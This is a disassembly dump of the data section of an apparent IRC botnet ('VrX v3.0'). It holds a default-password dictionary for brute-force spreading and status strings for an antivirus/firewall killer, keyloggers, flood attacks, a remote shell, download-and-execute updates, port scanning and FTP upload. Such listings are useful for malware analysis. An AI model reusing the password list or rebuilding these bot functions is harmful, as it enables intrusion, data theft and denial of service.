aMary		db 'mary',0             ; DATA XREF: ___:00429400o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293FCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: ___:004293E4o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293DCo
aBrian		db 'brian',0            ; DATA XREF: ___:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: ___:004293CCo
aSam		db 'sam',0              ; DATA XREF: ___:004293C8o
aLuke		db 'luke',0             ; DATA XREF: ___:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004293C0o
					; ___:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293ACo
aJen		db 'jen',0              ; DATA XREF: ___:004293A8o
aBob		db 'bob',0              ; DATA XREF: ___:004293A4o
					; ___:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: ___:0042939Co
aAsd		db 'asd',0              ; DATA XREF: ___:00429398o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: ___:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429374o
aOem		db 'oem',0              ; DATA XREF: ___:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: ___:00429358o
					; ___:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: ___:0042934Co
aMail		db 'mail',0             ; DATA XREF: ___:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429334o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: ___:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: ___:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: ___:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F0o
a123456		db '123456',0           ; DATA XREF: ___:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E0o
a12		db '12',0               ; DATA XREF: ___:004292DCo
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D0o
aPass		db 'pass',0             ; DATA XREF: ___:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: ___:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B8o
aDb2		db 'db2',0              ; DATA XREF: ___:00429460o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C0o
aStudent	db 'student',0          ; DATA XREF: ___:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AC8	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
